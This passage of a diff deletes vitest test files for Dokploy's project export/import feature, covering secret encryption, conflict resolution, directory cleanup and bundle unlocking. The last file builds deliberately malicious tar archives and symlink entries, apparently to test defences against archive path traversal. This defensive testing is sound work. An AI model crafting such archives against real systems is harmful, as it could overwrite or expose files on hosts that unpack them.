{ ...baseScope, shared: { vaultProvider: "value" } },
{
detectRequirements: () => [
{
kind: "vault",
originalId: "vault-1",
configIncluded: true,
usedBy: [],
providerName: "prod",
providerType: "hashicorp",
secretKeys: [],
},
],
detectWarnings: () => [],
},
);
const serialized = JSON.stringify(result.resources.shared);
expect(serialized).not.toContain("s.super-secret-vault-token");
expect(serialized).not.toContain("old-project");
const [vaultRow] = result.resources.shared.vault ?? [];
expect(String(vaultRow?.config)).toMatch(/^\$secret:/);
const secretId = String(vaultRow?.config).slice("$secret:".length);
expect(JSON.parse(result.secretsPlain.get(secretId) ?? "{}")).toEqual({
token: "s.super-secret-vault-token",
});
expect(vaultRow?.assignments).toBeUndefined();
});
it("builds an inventory reflecting the filtered scope", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, environmentIds: ["env-1"] },
noopOpts,
);
expect(result.inventory.environments).toHaveLength(1);
expect(result.inventory.environments[0]).toMatchObject({
id: "env-1",
services: { application: 1, postgres: 1, mysql: 1 },
});
expect(result.inventory.totals.domain).toBe(1);
expect(result.inventory.totals.mount).toBe(2);
});
it("excludes backup schedules when scope.includeBackupSchedules is false", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, includeBackupSchedules: false },
noopOpts,
);
const postgresRow = result.resources.services.find(
(service) => service.kind === "postgres",
);
expect(postgresRow?.backups).toEqual([]);
expect(result.inventory.totals.backup).toBeUndefined();
});
});
describe("capture project tags", () => {
it("flattens projectTags into resources.project.tags", async () => {
const db = fakeDb();
(db.query.projects as any).findFirst = async () => ({
...projectTree,
projectTags: [
{ tag: { tagId: "t-1", name: "prod", color: "#f00" } },
{ tag: { tagId: "t-2", name: "billing", color: null } },
],
});
const result = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
expect(result.resources.project.tags).toEqual([
{ name: "prod", color: "#f00" },
{ name: "billing", color: null },
]);
expect(result.resources.project).not.toHaveProperty("projectTags");
});
it("forces vault and dns providers to reference when env secrets are excluded", async () => {
const db = fakeDb();
(db.query as any).dnsProvider = {
findMany: async () => [
{ dnsProviderId: "dns-1", name: "cf", config: {} },
],
};
const result = await capture(
db,
{ kind: "project", id: "project-1" },
{
...baseScope,
includeEnvSecrets: false,
shared: { dnsProvider: "value", vaultProvider: "value" },
},
noopOpts,
);
expect(result.resources.shared.dnsProvider).toBeUndefined();
});
});
@@ -1,134 +0,0 @@
import { existsSync } from "node:fs";
import { mkdir, mkdtemp, rm, utimes } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
createExportJob,
createImportJob,
sweepOrphanedTransferDirectories,
sweepRemoteTransferDirectories,
} from "@dokploy/server/services/project-export-import";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return { ...actual, execAsyncRemote: vi.fn() };
});
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const fakePaths = () => ({ PROJECT_EXPORT_IMPORT_PATH: root }) as any;
const makeStaleDir = async (name: string) => {
const dir = join(root, name);
await mkdir(dir, { recursive: true });
const staleTime = new Date(Date.now() - 2 * 60 * 60 * 1000);
await utimes(dir, staleTime, staleTime);
return dir;
};
describe("sweepOrphanedTransferDirectories", () => {
it("deletes a stale directory with no matching job record (a genuine crash-orphan)", async () => {
const dir = await makeStaleDir("orphaned-export-1");
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(false);
});
it("leaves a fresh directory alone regardless of job state", async () => {
const dir = join(root, "fresh-export-1");
await mkdir(dir, { recursive: true });
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
it("does not delete a stale-by-mtime directory that still has a live export job record", async () => {
const exportId = "export-still-running-1";
createExportJob(exportId, "user-1", "org-1");
const dir = await makeStaleDir(exportId);
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
it("does not delete a stale-by-mtime directory that still has a live import job record", async () => {
const importId = "import-still-running-1";
createImportJob(importId, "user-1", "org-1");
const dir = await makeStaleDir(importId);
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
});
describe("sweepRemoteTransferDirectories", () => {
it("removes every workspace and bundle on the server that has no live job", async () => {
createExportJob("remote-live-1", "user-1", "org-1");
vi.mocked(execAsyncRemote).mockImplementation(async (_id, command) => ({
stdout: command.startsWith("find ")
? [
"remote-orphan-1",
"remote-orphan-1.dokploy.tar.gz",
"remote-live-1",
"remote-live-1.dokploy.tar.gz",
]
.map((name) => `/etc/dokploy/transfer/${name}\n`)
.join("")
: "",
stderr: "",
}));
await sweepRemoteTransferDirectories(
["server-1"],
1_700_000_000_000,
() =>
({
PROJECT_EXPORT_IMPORT_PATH: "/etc/dokploy/transfer",
}) as any,
);
expect(vi.mocked(execAsyncRemote).mock.calls[0]?.[1]).toContain(
"! -newermt @1700000000",
);
const removed = vi
.mocked(execAsyncRemote)
.mock.calls.map(([, command]) => command)
.filter((command) => command.startsWith("rm "));
expect(removed).toEqual([
"rm -rf '/etc/dokploy/transfer/remote-orphan-1'",
"rm -rf '/etc/dokploy/transfer/remote-orphan-1.dokploy.tar.gz'",
]);
});
it("keeps going when one server is unreachable", async () => {
vi.mocked(execAsyncRemote)
.mockReset()
.mockRejectedValueOnce(new Error("ssh down"))
.mockResolvedValue({ stdout: "", stderr: "" });
await expect(
sweepRemoteTransferDirectories(["down", "up"], Date.now(), fakePaths),
).resolves.toBeUndefined();
expect(vi.mocked(execAsyncRemote).mock.calls.map(([id]) => id)).toEqual([
"down",
"up",
]);
});
});
@@ -1,265 +0,0 @@
import type {
Conflict,
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
resolveConflicts,
resolvedProjectName,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const conflict = (
kind: Conflict["kind"],
value: string,
options: Conflict["options"],
): Conflict => ({
kind,
value,
existingId: `existing-${kind}`,
usedBy: [],
options,
});
describe("resolveConflicts", () => {
const conflicts = [
conflict("domain", "api.example.com", ["rename", "skip"]),
conflict("port", "8080", ["rename", "skip", "keep"]),
conflict("projectName", "shop", ["rename"]),
conflict("network", "shared-net", ["keep", "rename", "skip"]),
];
it("applies safe defaults per kind", () => {
expect(resolveConflicts(conflicts, undefined)).toEqual({
"domain:api.example.com": { action: "skip" },
"port:8080": { action: "skip" },
"projectName:shop": { action: "rename", value: "shop (imported)" },
"network:shared-net": { action: "keep" },
});
});
it("keeps valid user choices and falls back for invalid ones", () => {
const resolved = resolveConflicts(conflicts, {
"domain:api.example.com": { action: "rename", value: "api2.example.com" },
"port:8080": { action: "rename", value: "not-a-port" },
"projectName:shop": { action: "skip" },
"network:shared-net": { action: "rename", value: "shared-net-2" },
});
expect(resolved["domain:api.example.com"]).toEqual({
action: "rename",
value: "api2.example.com",
});
expect(resolved["port:8080"]).toEqual({ action: "skip" });
expect(resolved["projectName:shop"]).toEqual({
action: "rename",
value: "shop (imported)",
});
expect(resolved["network:shared-net"]).toEqual({
action: "rename",
value: "shared-net-2",
});
});
it("resolves the project name from the rename choice", () => {
expect(
resolvedProjectName(
{ kind: "newProject", name: "shop" },
{ "projectName:shop": { action: "rename", value: " shop-2 " } },
),
).toBe("shop-2");
expect(resolvedProjectName({ kind: "newProject", name: "shop" }, {})).toBe(
"shop",
);
});
});
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: { projectId: "project-src", name: "shop", env: "" },
environments: [{ environmentId: "env-1", name: "production", env: "" }],
services: [
{
kind: "application",
applicationId: "app-1",
appName: "web-abc123",
environmentId: "env-1",
networkIds: ["net-src"],
domains: [
{ domainId: "dom-1", host: "api.example.com", enabled: true },
{ domainId: "dom-2", host: "admin.example.com", enabled: true },
],
ports: [
{ portId: "p-1", publishedPort: 8080, targetPort: 80 },
{ portId: "p-2", publishedPort: 9090, targetPort: 90 },
{ portId: "p-3", publishedPort: 7070, targetPort: 70 },
],
},
],
shared: {
network: [{ networkId: "net-src", name: "shared-net", serverId: null }],
},
},
requirements: [
{
kind: "network",
originalId: "net-src",
configIncluded: true,
usedBy: [],
name: "shared-net",
},
],
warnings: [],
dumps: [],
};
const runApply = async (
conflictResolutions: Plan["conflictResolutions"],
networkResolution: "keep" | "rename" | "skip",
) => {
const { applications, domains, environments, network, ports, projects } =
await import("@dokploy/server/db/schema");
const inserted = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const writeDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const row: Record<string, unknown> = {
...values,
id: `row-${++counter}`,
};
if (table === projects) row.projectId = "project-new";
if (table === environments) row.environmentId = "env-new";
if (table === network) row.networkId = "net-new";
if (table === applications) row.applicationId = "app-new";
if (table === domains) row.domainId = `dom-new-${counter}`;
const list = inserted.get(table) ?? [];
list.push(row);
inserted.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...writeDb }),
} as unknown as TransferWriteDb;
const plan: Plan = {
target: { kind: "newProject", name: "shop" },
resolutions: {
"network:net-src": {
requirementKey: "network:net-src",
action: "create",
},
},
serverMap: { null: null },
appNameMap: { "web-abc123": "web-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [
conflict("projectName", "shop", ["rename"]),
conflict("domain", "api.example.com", ["rename", "skip"]),
conflict("domain", "admin.example.com", ["rename", "skip"]),
conflict("port", "8080", ["rename", "skip", "keep"]),
conflict("port", "9090", ["rename", "skip", "keep"]),
conflict("network", "shared-net", ["keep", "rename", "skip"]),
],
conflictResolutions: {
...conflictResolutions,
"network:shared-net":
networkResolution === "rename"
? { action: "rename", value: "shared-net-2" }
: { action: networkResolution },
},
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 2, dumps: 0 },
};
const result = await apply(writeDb, snapshot, plan, new Map(), "org-dest");
return {
result,
project: inserted.get(projects)?.[0],
domains: inserted.get(domains) ?? [],
ports: inserted.get(ports) ?? [],
networks: inserted.get(network) ?? [],
application: inserted.get(applications)?.[0],
};
};
describe("apply consumes conflict resolutions", () => {
it("renames the project and domains, drops skipped ports, renames a port, reuses the existing network", async () => {
const out = await runApply(
{
"projectName:shop": { action: "rename", value: "shop-2" },
"domain:api.example.com": {
action: "rename",
value: "api-2.example.com",
},
"domain:admin.example.com": { action: "skip" },
"port:8080": { action: "skip" },
"port:9090": { action: "rename", value: "9091" },
},
"keep",
);
expect(out.project?.name).toBe("shop-2");
expect(out.domains.map((d) => [d.host, d.enabled])).toEqual([
["api-2.example.com", true],
["admin.example.com", false],
]);
expect(out.ports.map((p) => p.publishedPort)).toEqual([9091, 7070]);
expect(out.networks).toEqual([]);
expect(out.application?.networkIds).toEqual(["existing-network"]);
expect(out.result.idMap.network).toEqual({ "net-src": "existing-network" });
});
it("creates the network under a new name when renamed, and drops it when skipped", async () => {
const renamed = await runApply({}, "rename");
expect(renamed.networks.map((n) => n.name)).toEqual(["shared-net-2"]);
expect(renamed.application?.networkIds).toEqual(["net-new"]);
const skipped = await runApply({}, "skip");
expect(skipped.networks).toEqual([]);
expect(skipped.application?.networkIds).toEqual([]);
expect(
skipped.result.warnings.some((w) => w.code === "NETWORK_UNRESOLVED"),
).toBe(true);
});
});
@@ -1,183 +0,0 @@
import {
createReadStream,
createWriteStream,
mkdtempSync,
readFileSync,
rmSync,
writeFileSync,
} from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { Readable, Writable } from "node:stream";
import { pipeline } from "node:stream/promises";
import {
decryptField,
deriveKeys,
encryptField,
gcmDecryptStream,
gcmEncryptStream,
makeKeyCheck,
TransferCryptoError,
verifyKeyCheck,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("deriveKeys", () => {
it("rejects a passphrase shorter than 12 characters", async () => {
await expect(deriveKeys("short")).rejects.toThrow();
});
it("derives the same keys from the same passphrase and salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("correct-horse-battery-staple", first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(true);
expect(second.salt).toBe(first.salt);
});
it("derives different keys for a different salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("correct-horse-battery-staple");
expect(second.salt).not.toBe(first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(false);
});
it("derives different keys for a different passphrase with the same salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("another-passphrase-entirely", first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(false);
});
});
describe("encryptField / decryptField", () => {
it("round-trips a plaintext value", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(decryptField(kEnc, "secret-1", entry)).toBe("hunter2");
});
it("fails when the AAD (id) differs from the one used to encrypt", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(() => decryptField(kEnc, "secret-2", entry)).toThrow(
TransferCryptoError,
);
});
it("fails when decrypting with a different key", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const { kEnc: otherKEnc } = await deriveKeys("a-different-passphrase!!");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(() => decryptField(otherKEnc, "secret-1", entry)).toThrow(
TransferCryptoError,
);
});
});
describe("makeKeyCheck / verifyKeyCheck", () => {
it("verifies with the correct passphrase", async () => {
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
const keyCheck = makeKeyCheck(kEnc);
const { kEnc: reDerived } = await deriveKeys(
"correct-horse-battery-staple",
salt,
);
expect(verifyKeyCheck(reDerived, keyCheck)).toBe(true);
});
it("fails with the wrong passphrase", async () => {
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
const keyCheck = makeKeyCheck(kEnc);
const { kEnc: wrongKEnc } = await deriveKeys(
"totally-wrong-passphrase",
salt,
);
expect(verifyKeyCheck(wrongKEnc, keyCheck)).toBe(false);
});
});
describe("gcmDecryptStream edge cases", () => {
it("handles an empty payload, one-byte chunks and a truncated ciphertext", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const encrypt = async (bytes: Buffer) => {
const chunks: Buffer[] = [];
await pipeline(
Readable.from([bytes]),
gcmEncryptStream(kEnc),
new Writable({
write(chunk, _encoding, callback) {
chunks.push(chunk);
callback();
},
}),
);
return Buffer.concat(chunks);
};
const decrypt = async (bytes: Buffer, chunkSize: number) => {
const chunks: Buffer[] = [];
const pieces: Buffer[] = [];
for (let i = 0; i < bytes.length; i += chunkSize) {
pieces.push(bytes.subarray(i, i + chunkSize));
}
await pipeline(
Readable.from(pieces),
gcmDecryptStream(kEnc),
new Writable({
write(chunk, _encoding, callback) {
chunks.push(chunk);
callback();
},
}),
);
return Buffer.concat(chunks);
};
const empty = await encrypt(Buffer.alloc(0));
expect(empty.length).toBe(12 + 16);
expect((await decrypt(empty, 1)).length).toBe(0);
const small = await encrypt(Buffer.from("hello world, 21 bytes"));
expect((await decrypt(small, 1)).toString()).toBe("hello world, 21 bytes");
await expect(decrypt(small.subarray(0, 20), 1)).rejects.toThrow(
TransferCryptoError,
);
});
});
describe("gcmEncryptStream / gcmDecryptStream", () => {
it("round-trips a file and rejects a flipped byte", async () => {
const dir = mkdtempSync(join(tmpdir(), "transfer-crypto-file-"));
try {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const plain = join(dir, "plain.bin");
const enc = join(dir, "plain.enc");
const out = join(dir, "plain.out");
writeFileSync(plain, Buffer.alloc(100_000, 7));
await pipeline(
createReadStream(plain),
gcmEncryptStream(kEnc),
createWriteStream(enc),
);
expect(readFileSync(enc).length).toBe(100_000 + 12 + 16);
await pipeline(
createReadStream(enc),
gcmDecryptStream(kEnc),
createWriteStream(out),
);
expect(readFileSync(out).equals(readFileSync(plain))).toBe(true);
const bytes = readFileSync(enc);
bytes[100] = (bytes[100] ?? 0) ^ 0xff;
writeFileSync(enc, bytes);
await expect(
pipeline(
createReadStream(enc),
gcmDecryptStream(kEnc),
createWriteStream(out),
),
).rejects.toThrow(TransferCryptoError);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});
@@ -1,236 +0,0 @@
import {
buildBundleObjectKey,
deriveKeys,
EXPORTS_DIRECTORY,
makeKeyCheck,
slugifyProjectName,
verifyBundlePassphrase,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return { ...actual, execAsync: vi.fn(actual.execAsync) };
});
describe("slugifyProjectName", () => {
it("produces a lowercase, URL-safe slug", () => {
expect(slugifyProjectName("My Cool Project!")).toBe("my-cool-project");
});
it("falls back to a generic name for an empty/unslugifiable input", () => {
expect(slugifyProjectName("")).toBe("project");
});
});
describe("buildBundleObjectKey", () => {
it("always stores bundles under the fixed exports directory", () => {
const key = buildBundleObjectKey("my-project", "2024-01-01T00:00:00.000Z");
expect(key).toBe(
`${EXPORTS_DIRECTORY}/my-project-2024-01-01T00-00-00-000Z.dokploy.tar.gz`,
);
expect(EXPORTS_DIRECTORY).toBe("dokploy-export-import");
});
});
describe("verifyBundlePassphrase", () => {
it("checks the keyCheck of a manifest read from the head of the object", async () => {
const { salt, kEnc } = await deriveKeys("correct-horse-battery-staple");
const manifest = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt,
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: makeKeyCheck(kEnc),
},
counts: {},
};
vi.mocked(execAsync).mockResolvedValueOnce({
stdout: JSON.stringify(manifest),
stderr: "",
});
const destination = { bucket: "b", endpoint: "e", region: "r" } as any;
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"correct-horse-battery-staple",
),
).resolves.toMatchObject({ checked: true, valid: true });
vi.mocked(execAsync).mockResolvedValueOnce({
stdout: JSON.stringify(manifest),
stderr: "",
});
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"wrong-passphrase-here",
),
).resolves.toMatchObject({ checked: true, valid: false });
vi.mocked(execAsync).mockResolvedValueOnce({ stdout: "", stderr: "" });
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"correct-horse-battery-staple",
),
).resolves.toMatchObject({ checked: false });
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain("rclone cat");
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
"tar -xzOf - manifest.json ",
);
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
"--count 4194304",
);
});
});
describe("projectExportImportRouter.exportStart on IS_CLOUD", () => {
it("rejects deliver: download (or omitted) with BAD_REQUEST", async () => {
vi.resetModules();
process.env.IS_CLOUD = "true";
vi.doMock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
};
},
);
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const caller = projectExportImportRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "a@b.com" },
} as any);
await expect(
caller.exportStart({
projectId: "project-1",
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
passphrase: "correct-horse-battery-staple",
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
delete process.env.IS_CLOUD;
vi.doUnmock("@dokploy/server/services/project-export-import");
vi.resetModules();
}, 30_000);
});
describe("projectExportImportRouter.exportOrganizationStart on IS_CLOUD", () => {
it("skips projects with no remote server instead of failing the whole batch", async () => {
vi.resetModules();
process.env.IS_CLOUD = "true";
const runExportBatch = vi.fn(() => ({ exportIds: ["export-1"] }));
vi.doMock("@dokploy/server/db", () => ({
db: {
query: {
projects: {
findMany: async () => [
{ projectId: "with-server", name: "With server" },
{ projectId: "empty", name: "Empty" },
],
},
},
},
}));
vi.doMock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationDestination: vi.fn(async () => ({})),
bundleBuildServer: vi.fn(async (_db, projectId: string) => {
if (projectId === "with-server") return "server-1";
throw new TRPCError({
code: "BAD_REQUEST",
message: "none of the selected services runs on a remote server",
});
}),
runExportBatch,
};
},
);
vi.doMock("../../server/api/utils/audit", () => ({ audit: vi.fn() }));
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const caller = projectExportImportRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-org-cloud", email: "a@b.com" },
} as any);
const result = await caller.exportOrganizationStart({
destinationId: "dest-1",
passphrase: "correct-horse-battery-staple",
projectIds: ["with-server", "empty", "with-server"],
});
expect(result.exports).toEqual([
{ projectId: "with-server", name: "With server", exportId: "export-1" },
]);
expect(result.skipped).toMatchObject([{ projectId: "empty" }]);
expect(runExportBatch).toHaveBeenCalledWith(
[expect.objectContaining({ buildServerId: "server-1" })],
expect.anything(),
);
delete process.env.IS_CLOUD;
vi.doUnmock("@dokploy/server/db");
vi.doUnmock("@dokploy/server/services/project-export-import");
vi.doUnmock("../../server/api/utils/audit");
vi.resetModules();
}, 30_000);
});
@@ -1,393 +0,0 @@
import { existsSync } from "node:fs";
import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { gzipSync } from "node:zlib";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
capture,
detectRequirements,
detectWarnings,
inspectBundle,
serialize,
TransferCryptoError,
unlockBundle,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
postgres: [postgres],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: { findMany: async () => [application] },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: { findMany: async () => [] },
registry: { findMany: async () => [], findFirst: async () => undefined },
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const ustarHeader = (name: string, size: number): Buffer => {
const header = Buffer.alloc(512);
header.write(name, 0, "utf8");
header.write("0000777\0", 100, "utf8");
header.write("0000000\0", 108, "utf8");
header.write("0000000\0", 116, "utf8");
header.write(`${size.toString(8).padStart(11, "0")}\0`, 124, "utf8");
header.write(
`${Math.floor(Date.now() / 1000)
.toString(8)
.padStart(11, "0")}\0`,
136,
"utf8",
);
header.write(" ", 148, "utf8");
header.write("0", 156, "utf8");
header.write("ustar\0", 257, "utf8");
header.write("00", 263, "utf8");
let checksum = 0;
for (const byte of header) checksum += byte;
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
return header;
};
const buildMaliciousTarGz = (entryName: string, content: Buffer): Buffer => {
const header = ustarHeader(entryName, content.length);
const padded = Buffer.concat([
content,
Buffer.alloc((512 - (content.length % 512)) % 512),
]);
const archive = Buffer.concat([header, padded, Buffer.alloc(1024)]);
return gzipSync(archive);
};
const ustarSymlinkHeader = (name: string, linkTarget: string): Buffer => {
const header = Buffer.alloc(512);
header.write(name, 0, "utf8");
header.write("0000777\0", 100, "utf8");
header.write("0000000\0", 108, "utf8");
header.write("0000000\0", 116, "utf8");
header.write(`${(0).toString(8).padStart(11, "0")}\0`, 124, "utf8");
header.write(
`${Math.floor(Date.now() / 1000)
.toString(8)
.padStart(11, "0")}\0`,
136,
"utf8",
);
header.write(" ", 148, "utf8");
header.write("2", 156, "utf8");
header.write(linkTarget, 157, "utf8");
header.write("ustar\0", 257, "utf8");
header.write("00", 263, "utf8");
let checksum = 0;
for (const byte of header) checksum += byte;
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
return header;
};
const buildSymlinkTarGz = (entryName: string, linkTarget: string): Buffer => {
const header = ustarSymlinkHeader(entryName, linkTarget);
const archive = Buffer.concat([header, Buffer.alloc(1024)]);
return gzipSync(archive);
};
let workDir: string;
let outDir: string;
let bundlePath: string;
const buildBundle = async () => {
const db = fakeDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
};
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-deser-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-deser-out-"));
bundlePath = join(outDir, "bundle.dokploy.tar.gz");
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
describe("deserialize: inspectBundle + unlockBundle", () => {
it("round-trips the exact snapshot through inspect + unlock", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
const inspected = await inspectBundle(
local(bundlePath),
local(extractDir),
);
expect(inspected.manifest.sourceInstance.organizationId).toBe("org-1");
expect(inspected.inventory.totals.application).toBe(1);
expect(Array.isArray(inspected.requirements)).toBe(true);
expect(Array.isArray(inspected.warnings)).toBe(true);
expect(existsSync(join(extractDir, "resources"))).toBe(false);
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
expect(unlocked.snapshot.manifest).toEqual(inspected.manifest);
expect(existsSync(join(extractDir, "payload.enc"))).toBe(false);
expect(existsSync(join(extractDir, "secrets.json"))).toBe(false);
expect(unlocked.snapshot.resources.project).toMatchObject({
projectId: "project-1",
name: "my-project",
});
